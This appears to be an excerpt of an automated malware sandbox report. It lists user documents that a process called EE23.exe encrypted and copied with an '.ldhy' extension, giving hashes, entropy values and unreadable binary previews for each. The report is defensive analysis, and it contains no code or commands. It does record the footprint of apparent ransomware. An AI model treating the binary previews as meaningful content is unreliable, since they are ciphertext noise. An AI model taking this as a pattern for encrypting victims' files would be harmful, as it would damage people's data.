                                                                                                                                                                                                                                                              Preview:EOWRV..]....KM...D....f2../..(c.r.......-'.q.....".b..>..u.&.j.v..ia.....bTP..%....j..K..N.*o..e.j..#.<.o.P~.^......w.n.*G.....0../..S.`.0.k..0..>.VSM..bjp.~..E%*..A#....,...t|..9@PD...g....V....+...@...|>,......%..>.t.\g...$......:x.....-.s........xz...L...".....X.O.B.&.....{O..xL...G....../...$.......T././3...W>p...U.m....9..:..b.^.....c.4.v..,we.&.3.Ak.........C..._20D..4K12.I>.........q1..dkh..,..R5...-.....Siz.nuqr.@zDC.f../.`....'ML.....y0x...'=.%.3.....A...+.....w...e.*3..........yG.yS........c%.A....>..9.J.E..p..Z..D.....V.c,D-..J..DY.s.s.....g...l...k.7.....%.5Y.E.{.C...$k.{...,y.l+...k..L..?.k...#<..K.....4..p,vt.y...{J..[`...}...ZO....?k....*"........X.#.*.[H'..w.vs..3.......r ^.....AC..6..$Tr....~.uM+.p^[.%.b.m.ljv.%...I..i....0.......... ..D!8........4..)....St/.E.8@.76E4.Y........{....%x....sp<"G..n.7M...9.NGV.`..j.?...D..RSzt3.w.Y..%..o-.v..\...............u.tx...8Y~h.....WDf....&.....*VA)E.2.,x.%)Q+..1.I......C+.)G.....

                                                                                                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB.pdf

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8568111587834295
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:L52vsxgXh7/xSCxgg3Zy7RvPHudYifd2xjOiHWhpZO4nUmyqvY5rKH1MpCMsbD:L5rgGLJVvWdZijOK+Oo9v+rYKCMmD
                                                                                                                                                                                                                                                              MD5:2BE1F8E2D4610AECDAFDAE94E47F331A
                                                                                                                                                                                                                                                              SHA1:9AC4D66CAFBF59B00E4A97866E4949BE3B269B9A
                                                                                                                                                                                                                                                              SHA-256:C154B8F70511F4A9D28FD82F77F59DEE7B00A22937E6D3C7B846D6A0DDC40659
                                                                                                                                                                                                                                                              SHA-512:5CA6DB2B5D0DAB96D2269F263893367913F7ACD49CD1BA80F6B61196FFD07D5A21635631D1513AC21B9D00BC8C6E80057348942A96B93F0DCDE542FFA392FA77
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:GRXZD`.&I^."E.k,rlL...m....n+.Y'.iY.dd..l.......5.}...N.[..`e.....(.....M9@V:&(...P=./.~R+..q.r..._8.zrj.Ti..MZ.....4....ga...l.q[..mo..q.?...$s.m/..&.N.:VB..'.l....1.....l.U.1[.1.5A'...t.gK.l..[../,XY..o*..>..#!<.!q.......y../Q.......D.h...w..!...7.W4..QU1..zs.h..p..8.".9.Qp.d.....|...R.PH..fJ....kd...G..kyJuX..8..wb.....e..#..o......9&.....L...^.b-...t..A... ..r......|z...e.....^...Fg.[.2....].(.T..G[."{R.....D.}...2..p...4....j......m.....#j.vR.\@Y.D........a.<Sr...+...MBBMB.`...M.\3H..V...O...kjF..a.K..s.&..a....X._N..O..*.....C{.>.^..+...i.0Ji..`...`kC?k..Ve....6U......Ip(.8..=...x.Z.=oX..n.#d......P.v*..j.:.....aB..yb.......u..9.._HHA.VUU.<.&..m...!..D..^o....t.3F.Cm.(.[hg.+...beK...5...B....8.[.NT......;.B1.7"|......":IS..V-.Y....%.IG.n.........!....$N..7>.d.....f.._.V`.%"n..,..oC.2z.D')..i...3..i.?E...c....}..'..A.t.ws.7I:.N......^rg.....c..... .n...c.v.m&..gjXx].[.t.pr,.... .[..R.}...d..e.z..S%|.....'..N.?8.%.....q.)d\....).......tD?

                                                                                                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB.pdf.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8568111587834295
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:L52vsxgXh7/xSCxgg3Zy7RvPHudYifd2xjOiHWhpZO4nUmyqvY5rKH1MpCMsbD:L5rgGLJVvWdZijOK+Oo9v+rYKCMmD
                                                                                                                                                                                                                                                              MD5:2BE1F8E2D4610AECDAFDAE94E47F331A
                                                                                                                                                                                                                                                              SHA1:9AC4D66CAFBF59B00E4A97866E4949BE3B269B9A
                                                                                                                                                                                                                                                              SHA-256:C154B8F70511F4A9D28FD82F77F59DEE7B00A22937E6D3C7B846D6A0DDC40659
                                                                                                                                                                                                                                                              SHA-512:5CA6DB2B5D0DAB96D2269F263893367913F7ACD49CD1BA80F6B61196FFD07D5A21635631D1513AC21B9D00BC8C6E80057348942A96B93F0DCDE542FFA392FA77
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:GRXZD`.&I^."E.k,rlL...m....n+.Y'.iY.dd..l.......5.}...N.[..`e.....(.....M9@V:&(...P=./.~R+..q.r..._8.zrj.Ti..MZ.....4....ga...l.q[..mo..q.?...$s.m/..&.N.:VB..'.l....1.....l.U.1[.1.5A'...t.gK.l..[../,XY..o*..>..#!<.!q.......y../Q.......D.h...w..!...7.W4..QU1..zs.h..p..8.".9.Qp.d.....|...R.PH..fJ....kd...G..kyJuX..8..wb.....e..#..o......9&.....L...^.b-...t..A... ..r......|z...e.....^...Fg.[.2....].(.T..G[."{R.....D.}...2..p...4....j......m.....#j.vR.\@Y.D........a.<Sr...+...MBBMB.`...M.\3H..V...O...kjF..a.K..s.&..a....X._N..O..*.....C{.>.^..+...i.0Ji..`...`kC?k..Ve....6U......Ip(.8..=...x.Z.=oX..n.#d......P.v*..j.:.....aB..yb.......u..9.._HHA.VUU.<.&..m...!..D..^o....t.3F.Cm.(.[hg.+...beK...5...B....8.[.NT......;.B1.7"|......":IS..V-.Y....%.IG.n.........!....$N..7>.d.....f.._.V`.%"n..,..oC.2z.D')..i...3..i.?E...c....}..'..A.t.ws.7I:.N......^rg.....c..... .n...c.v.m&..gjXx].[.t.pr,.... .[..R.}...d..e.z..S%|.....'..N.?8.%.....q.)d\....).......tD?

                                                                                                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB.xlsx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.844319238947729
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:YiZ51uKiKqkMiBB5Us15ASl8JXoxat3BnKG9yohuTWZwV0b0zx01cVsbD:57u7KqyBosDASl8RoMPKuhu6wV0YzxMt
                                                                                                                                                                                                                                                              MD5:E82EF0872B2881BED799401C5E194DDE
                                                                                                                                                                                                                                                              SHA1:9D9EEE03F0805BCDFDB612FB8EEDFDC79C9722E2
                                                                                                                                                                                                                                                              SHA-256:D247CB465AF9F7F9BF8C7B8BAEFA1792661A85E7E1CD14C6394F550760200B36
                                                                                                                                                                                                                                                              SHA-512:5E50DD7A253F3FD4A34D82D7A0F459EEDD76115F6CB54B263A4CA7B0D1C5AA7BBE1851143586B9A78F111110B61B359E63F3621F689426350F3132F701DECD15
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:GRXZD..5.=].2..._`Ocw@.I...!..+. .X.WIu.{0..z-T..\..R..E7Z....n.-.d.CzA..y.h...n.....o.B[...S:b.UY.Q_3SeA:.....Z.^;n.2....!...?]....G.8d...(..fi.U.x..5V...c..H......T+...F.8B.Z: |.I.IN..u....l.[..I.z..1=.....q....q}<,o.....L.ZdqI7....R...Z...zi.....[..*4M.G.Zzp..D..1..4.K.i3...g^.\.sK..k.1P.U.9......sF....*...ei..;......x0....7...P.%f.O...:.[.#..r.....6.5..vj._..U..|EFafEk.....{...-...iP..c.F.6.8eaP..a-|t..4..o.C......S;QR(......".#rh.9. ...w.k-....;&...w..n.|....p(._QKB...#!..c..2..4....t..4..'I.3{)....R...t .v["..M.~.`b...P|yN.9..x.Hb....Z..i...%.]....g-x.=i].D.......k_....B;..lI6.{..7..q.N.}....}.3.....u-...q.2..../4hD...B....VJ.Z.iI......LG...<.^..Dx.n..al..i........<\s..3....Io.u$...|.!..W.b.j.N....'....}........s.}..e.3m.A,.!....j.j%.yB.(.-..O.....p.R.c4Jj......rR.g2.^V.Um.K...OHg.Mr..%C...o.=...J.~..V.^..}....UzH..)8U....Xr...@.r..G.._-.^hO..M...7.M..+..02.....u......M..m..kvE....Rc..n.>$.. whk\L._S.g.]...8.......{g......g....h.M...

                                                                                                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB.xlsx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.844319238947729
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:YiZ51uKiKqkMiBB5Us15ASl8JXoxat3BnKG9yohuTWZwV0b0zx01cVsbD:57u7KqyBosDASl8RoMPKuhu6wV0YzxMt
                                                                                                                                                                                                                                                              MD5:E82EF0872B2881BED799401C5E194DDE
                                                                                                                                                                                                                                                              SHA1:9D9EEE03F0805BCDFDB612FB8EEDFDC79C9722E2
                                                                                                                                                                                                                                                              SHA-256:D247CB465AF9F7F9BF8C7B8BAEFA1792661A85E7E1CD14C6394F550760200B36
                                                                                                                                                                                                                                                              SHA-512:5E50DD7A253F3FD4A34D82D7A0F459EEDD76115F6CB54B263A4CA7B0D1C5AA7BBE1851143586B9A78F111110B61B359E63F3621F689426350F3132F701DECD15
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:GRXZD..5.=].2..._`Ocw@.I...!..+. .X.WIu.{0..z-T..\..R..E7Z....n.-.d.CzA..y.h...n.....o.B[...S:b.UY.Q_3SeA:.....Z.^;n.2....!...?]....G.8d...(..fi.U.x..5V...c..H......T+...F.8B.Z: |.I.IN..u....l.[..I.z..1=.....q....q}<,o.....L.ZdqI7....R...Z...zi.....[..*4M.G.Zzp..D..1..4.K.i3...g^.\.sK..k.1P.U.9......sF....*...ei..;......x0....7...P.%f.O...:.[.#..r.....6.5..vj._..U..|EFafEk.....{...-...iP..c.F.6.8eaP..a-|t..4..o.C......S;QR(......".#rh.9. ...w.k-....;&...w..n.|....p(._QKB...#!..c..2..4....t..4..'I.3{)....R...t .v["..M.~.`b...P|yN.9..x.Hb....Z..i...%.]....g-x.=i].D.......k_....B;..lI6.{..7..q.N.}....}.3.....u-...q.2..../4hD...B....VJ.Z.iI......LG...<.^..Dx.n..al..i........<\s..3....Io.u$...|.!..W.b.j.N....'....}........s.}..e.3m.A,.!....j.j%.yB.(.-..O.....p.R.c4Jj......rR.g2.^V.Um.K...OHg.Mr..%C...o.=...J.~..V.^..}....UzH..)8U....Xr...@.r..G.._-.^hO..M...7.M..+..02.....u......M..m..kvE....Rc..n.>$.. whk\L._S.g.]...8.......{g......g....h.M...

                                                                                                                                                                                                                                                              C:\Users\user\Documents\KLIZUSIQEN.png

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.832534603390542
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:bnU0/oi+2ipMklMTFgBQkPQbxTDCfczgM00BgNIefeRE+cU0JzCaUOusbD:LLwllMTFgBzoRDCfc0M4NLfeRzcUg2vM
                                                                                                                                                                                                                                                              MD5:424D10704437576A26EDC7310C631401
                                                                                                                                                                                                                                                              SHA1:0BE9C918E05CB31C8F38B56DEAC5529058F85A6B
                                                                                                                                                                                                                                                              SHA-256:8EA39E71FCD40AC462FC16A3B3922126100E31FD1C9CC689E05739164C93DCB6
                                                                                                                                                                                                                                                              SHA-512:73A7F390F5FD7FEBB3E1042FADA8B06A748EA804B21552896C0FC02D3A0EE05AE74112269041D4D120F2072FBB288E4B1C0FA60F58F7E7A1187AF1FB6CEC40A3
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:KLIZUT.;....fW.;]?..,..P..+m(.A...1.A..o6.y03.0#q.g.G.tJ[..q7..u..#......Az..EvS..Nt...LQ[T,...~6.....Kq..3.:..L.E[..=g..R......)...;.......P....x....5%&L..X!..4...S.T....."n.C`.E.T..u:.E.r....K..*..h,...F.}*.(HV...DV...}H..._.E}..e.)~8.{...sO..!zK...s!..'.?r.FF.C....f.eZk..]...&....4.F.....S.N.V.!..#.-o!.;....`.Y.zL;..^H..^.o0...k........XN9J.`{...]...O....^f.Xi..=.....2...}..^Z._E.G...4.0...-.}1./..9dB...6..X<..0.$..30..Z..)..n./g..K ...J.n...u......x.....N.[,./.(....\.`2..B44.N.x....u.t.N...... ...dO.,.g.J..\:.....Y.2;E.n....^B...FF..#[.....c.Sl|.aK"p~~.5..!.........G.....,.........=...Sn....M.{zs.P.....Yd.Ym....s)AKZV~k...8....H..eN.+>.b...g.#.n..Gv.......z........uq.he.E..(.W....yA...At..)......&F.....,.P.e.r[....d..|L.....n...v^/.&....).r.H..*r.z).76.E..[k...... .;ml..*..#.Y...U.Njue..S).....C).v.i#+...C..d.M...o.7Vt...t......?.g.g4..gb.....F9..V+......%*.j.JY...(.F#...gH.....@.9S....{f:2c..e...".......H?.M..)L.@.t{V$.u`.CFT..

                                                                                                                                                                                                                                                              C:\Users\user\Documents\KLIZUSIQEN.png.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.832534603390542
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:bnU0/oi+2ipMklMTFgBQkPQbxTDCfczgM00BgNIefeRE+cU0JzCaUOusbD:LLwllMTFgBzoRDCfc0M4NLfeRzcUg2vM
                                                                                                                                                                                                                                                              MD5:424D10704437576A26EDC7310C631401
                                                                                                                                                                                                                                                              SHA1:0BE9C918E05CB31C8F38B56DEAC5529058F85A6B
                                                                                                                                                                                                                                                              SHA-256:8EA39E71FCD40AC462FC16A3B3922126100E31FD1C9CC689E05739164C93DCB6
                                                                                                                                                                                                                                                              SHA-512:73A7F390F5FD7FEBB3E1042FADA8B06A748EA804B21552896C0FC02D3A0EE05AE74112269041D4D120F2072FBB288E4B1C0FA60F58F7E7A1187AF1FB6CEC40A3
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:KLIZUT.;....fW.;]?..,..P..+m(.A...1.A..o6.y03.0#q.g.G.tJ[..q7..u..#......Az..EvS..Nt...LQ[T,...~6.....Kq..3.:..L.E[..=g..R......)...;.......P....x....5%&L..X!..4...S.T....."n.C`.E.T..u:.E.r....K..*..h,...F.}*.(HV...DV...}H..._.E}..e.)~8.{...sO..!zK...s!..'.?r.FF.C....f.eZk..]...&....4.F.....S.N.V.!..#.-o!.;....`.Y.zL;..^H..^.o0...k........XN9J.`{...]...O....^f.Xi..=.....2...}..^Z._E.G...4.0...-.}1./..9dB...6..X<..0.$..30..Z..)..n./g..K ...J.n...u......x.....N.[,./.(....\.`2..B44.N.x....u.t.N...... ...dO.,.g.J..\:.....Y.2;E.n....^B...FF..#[.....c.Sl|.aK"p~~.5..!.........G.....,.........=...Sn....M.{zs.P.....Yd.Ym....s)AKZV~k...8....H..eN.+>.b...g.#.n..Gv.......z........uq.he.E..(.W....yA...At..)......&F.....,.P.e.r[....d..|L.....n...v^/.&....).r.H..*r.z).76.E..[k...... .;ml..*..#.Y...U.Njue..S).....C).v.i#+...C..d.M...o.7Vt...t......?.g.g4..gb.....F9..V+......%*.j.JY...(.F#...gH.....@.9S....{f:2c..e...".......H?.M..)L.@.t{V$.u`.CFT..

                                                                                                                                                                                                                                                              C:\Users\user\Documents\NVWZAPQSQL.docx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8470816717256495
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:FmBaR49gml/KHubFIP2TrVurVHNKZP/IPfZyhIzqKC7XLtGbzNM0sbD:FmBy4FbFIuWVwYqV7LwbzLmD
                                                                                                                                                                                                                                                              MD5:DEFDA2B05AF86CE7CD154B03CD64C1E6
                                                                                                                                                                                                                                                              SHA1:1817821020ABD2EDFDAA7F99D2E814D14B4A7A15
                                                                                                                                                                                                                                                              SHA-256:7499DB3924D2EEE7BB86C844849838F5E34182FDF004CEF4A89BE9D7CFBACB96
                                                                                                                                                                                                                                                              SHA-512:DB4B857D7770383AAC2D7192C411B634D176F851A4226D33A73316AE383D77A9B8B193D65EAC5CBBB5D3EAE59D282F4922DBF36238BFCE3753D02A3D6E8B57FD
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:NVWZA...z...z.S..,2.ii..Z!.w..........b1.t..tQp})6....}.(.-.6......[...../..."qK.....k...^...G..u.-......DQ.sG.....;r......M..}..9RJjN2..;!..$P....R.zp.....RK.?....C.i...v...k.......0w....Jw.fvZ3..$.....j.^..}....._|ZC..>..F.F`....~&......f.S.+.......C.y.$..C.QhL@..$.h.:....E.S.3..e_..t.8....._...W...v....p2...L....T.|V........:1..-.:...O%[}._...d.%G.#M;>..8...`J._.....;..Gi.......MO0....>sU....2.Bd...........[.|w&L.P.rP........$..?..sv}..F...2..+_D..(.=..Y.qQHy*..p{yCpj...oI.x.1d.._.~.....U.....p...!Z...w..kl......!$.8O.....0MK.<e.^.^.....V*...W8o..'5.2...R}..B4..:@..............i..c...0.h&|.....vC.f..S-<...^.m...0..>..k......gj.<...>...NkG{.......a.WI.."*x=...u.n.'"q.<4..F3.wvi6. ..........@...Pd...f_.wY+.........x.|.fK......>.....-..e.qB.....9..t}..0F.5...)'.......~U.C1.]-.Ad.....r.<S@..*.._.........Y6...I-!b.'.G2.}....dC.q,V..*........v..m.8Ek]...U.BZ..A,.DU.B.zG.f.p....n.....s...O.EK.........l&..._.(W.M....L:?5[l.(...i.7.~.n.b*..........y.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\NVWZAPQSQL.docx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8470816717256495
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:FmBaR49gml/KHubFIP2TrVurVHNKZP/IPfZyhIzqKC7XLtGbzNM0sbD:FmBy4FbFIuWVwYqV7LwbzLmD
                                                                                                                                                                                                                                                              MD5:DEFDA2B05AF86CE7CD154B03CD64C1E6
                                                                                                                                                                                                                                                              SHA1:1817821020ABD2EDFDAA7F99D2E814D14B4A7A15
                                                                                                                                                                                                                                                              SHA-256:7499DB3924D2EEE7BB86C844849838F5E34182FDF004CEF4A89BE9D7CFBACB96
                                                                                                                                                                                                                                                              SHA-512:DB4B857D7770383AAC2D7192C411B634D176F851A4226D33A73316AE383D77A9B8B193D65EAC5CBBB5D3EAE59D282F4922DBF36238BFCE3753D02A3D6E8B57FD
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:NVWZA...z...z.S..,2.ii..Z!.w..........b1.t..tQp})6....}.(.-.6......[...../..."qK.....k...^...G..u.-......DQ.sG.....;r......M..}..9RJjN2..;!..$P....R.zp.....RK.?....C.i...v...k.......0w....Jw.fvZ3..$.....j.^..}....._|ZC..>..F.F`....~&......f.S.+.......C.y.$..C.QhL@..$.h.:....E.S.3..e_..t.8....._...W...v....p2...L....T.|V........:1..-.:...O%[}._...d.%G.#M;>..8...`J._.....;..Gi.......MO0....>sU....2.Bd...........[.|w&L.P.rP........$..?..sv}..F...2..+_D..(.=..Y.qQHy*..p{yCpj...oI.x.1d.._.~.....U.....p...!Z...w..kl......!$.8O.....0MK.<e.^.^.....V*...W8o..'5.2...R}..B4..:@..............i..c...0.h&|.....vC.f..S-<...^.m...0..>..k......gj.<...>...NkG{.......a.WI.."*x=...u.n.'"q.<4..F3.wvi6. ..........@...Pd...f_.wY+.........x.|.fK......>.....-..e.qB.....9..t}..0F.5...)'.......~U.C1.]-.Ad.....r.<S@..*.._.........Y6...I-!b.'.G2.}....dC.q,V..*........v..m.8Ek]...U.BZ..A,.DU.B.zG.f.p....n.....s...O.EK.........l&..._.(W.M....L:?5[l.(...i.7.~.n.b*..........y.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\NVWZAPQSQL.png

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.839424551102721
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:F26ZgYtMAOAV8XlvvsOxfy0DUtG+vDfLwp+YzBXzRrooNB4DF8r95wnQeG5b5DsX:FLZ5t8XV3fy0gtG+/45t1rooNB4DF8rS
                                                                                                                                                                                                                                                              MD5:0CDBA8FEC1F5152BE5D21EC9B51EAC82
                                                                                                                                                                                                                                                              SHA1:8CB248F27B4FBB57C4435924C089C1565A13CC43
                                                                                                                                                                                                                                                              SHA-256:A30EAF275A6E6AAB8E3B452369804A6F812BD8619B693F83B54D72AFA4FC78BB
                                                                                                                                                                                                                                                              SHA-512:59FCECEC570AEF8D75BFD4C7232CBF133CA5C7B1B74B9D0B7C88213C6944BDDEB9B664DFD3A44A1D4C4985BB21EBE1573DD8FE443E4F8C0FB40CF59390448F79
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:NVWZA@.......T&.......<<\..ufN.. .).....[.....j......f.....#.D......oE.+.....3..y.z.B..K...66.......B.3..D.~wo.h..6.....J...}..ix.h.q..\.T...z.Y!~..9N.0......G!..&...y~.j.l....B.Z.....A.O..'u...|m.y.<.#....s.S.#.%Q.+.)..QR.y5(X.......w.Hz.z....S....qx#.l...l.(.....K.5&.= ............Ls.........hH*..^.I.SD......Msj..3...B.5G.N}.....j.3].....|....&..G...,8.$..>Y)..|*....D8...Y.3...'.^...:.E/....0......(Z.....'....#@M.cX.../.E.z.,.G.B......Xe..:#.vV..7.i<..7r...@U\.@..g....4..|....^...e(.Q.YG...r.T.k.cmt..........9O...{.-v....y...kk.Y.$C...^b..B..+e....WM1.T.RO....bqL.a...ev.....[[..x.b..^.............N.G..].S....(x..z..A.(...2....u......$|A.....1DN.5.-.BV.6..b..-^4. .....E..%Y...2..~F..+.0..^~]y..ew..=.Q.Y....C.s.!q].Sh0.W.dU....v4.......B/.`........$!.^J..o..d..N......./.4.I`.c8..z_.0.g?2....."Q.o.G.@....\..=-s.rL./.H..M..v....jk?..>.{..P.................]..t.Tc.[]..v..a9..H..){........W.I.&.@T_<>O.$y._^.|Z..V[.;.~c.w..n....f.W....f..~Q.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\NVWZAPQSQL.png.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.839424551102721
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:F26ZgYtMAOAV8XlvvsOxfy0DUtG+vDfLwp+YzBXzRrooNB4DF8r95wnQeG5b5DsX:FLZ5t8XV3fy0gtG+/45t1rooNB4DF8rS
                                                                                                                                                                                                                                                              MD5:0CDBA8FEC1F5152BE5D21EC9B51EAC82
                                                                                                                                                                                                                                                              SHA1:8CB248F27B4FBB57C4435924C089C1565A13CC43
                                                                                                                                                                                                                                                              SHA-256:A30EAF275A6E6AAB8E3B452369804A6F812BD8619B693F83B54D72AFA4FC78BB
                                                                                                                                                                                                                                                              SHA-512:59FCECEC570AEF8D75BFD4C7232CBF133CA5C7B1B74B9D0B7C88213C6944BDDEB9B664DFD3A44A1D4C4985BB21EBE1573DD8FE443E4F8C0FB40CF59390448F79
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:NVWZA@.......T&.......<<\..ufN.. .).....[.....j......f.....#.D......oE.+.....3..y.z.B..K...66.......B.3..D.~wo.h..6.....J...}..ix.h.q..\.T...z.Y!~..9N.0......G!..&...y~.j.l....B.Z.....A.O..'u...|m.y.<.#....s.S.#.%Q.+.)..QR.y5(X.......w.Hz.z....S....qx#.l...l.(.....K.5&.= ............Ls.........hH*..^.I.SD......Msj..3...B.5G.N}.....j.3].....|....&..G...,8.$..>Y)..|*....D8...Y.3...'.^...:.E/....0......(Z.....'....#@M.cX.../.E.z.,.G.B......Xe..:#.vV..7.i<..7r...@U\.@..g....4..|....^...e(.Q.YG...r.T.k.cmt..........9O...{.-v....y...kk.Y.$C...^b..B..+e....WM1.T.RO....bqL.a...ev.....[[..x.b..^.............N.G..].S....(x..z..A.(...2....u......$|A.....1DN.5.-.BV.6..b..-^4. .....E..%Y...2..~F..+.0..^~]y..ew..=.Q.Y....C.s.!q].Sh0.W.dU....v4.......B/.`........$!.^J..o..d..N......./.4.I`.c8..z_.0.g?2....."Q.o.G.@....\..=-s.rL./.H..M..v....jk?..>.{..P.................]..t.Tc.[]..v..a9..H..){........W.I.&.@T_<>O.$y._^.|Z..V[.;.~c.w..n....f.W....f..~Q.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\NVWZAPQSQL.xlsx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8410002070116915
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:FlZo7vsKysciCToDIrQV2zpFfNlOotV8nnCEfrG2LhsbD:FlZo7vsKZ0KqQV+pFfNlMC0rLVmD
                                                                                                                                                                                                                                                              MD5:5F6D2AACE4FA113111A4BF317B78E5C5
                                                                                                                                                                                                                                                              SHA1:B40EC43BB68E56A7B67028A90E16997CB09FF77D
                                                                                                                                                                                                                                                              SHA-256:9802CE02272C3E2B1C2A653294C2518DEF3378511D5B95E1119F5C17E594E98B
                                                                                                                                                                                                                                                              SHA-512:423C3463BA899D7F52B57DDE376E03BDB9AB6B827B52BC1B490ADF0F7A35D052BF1ACF16EE2589D714E2FE338451ADAA5C3A299EE81AFCE693FCCA120343A243
                                                                                                                                                                                                                                                              Malicious:false
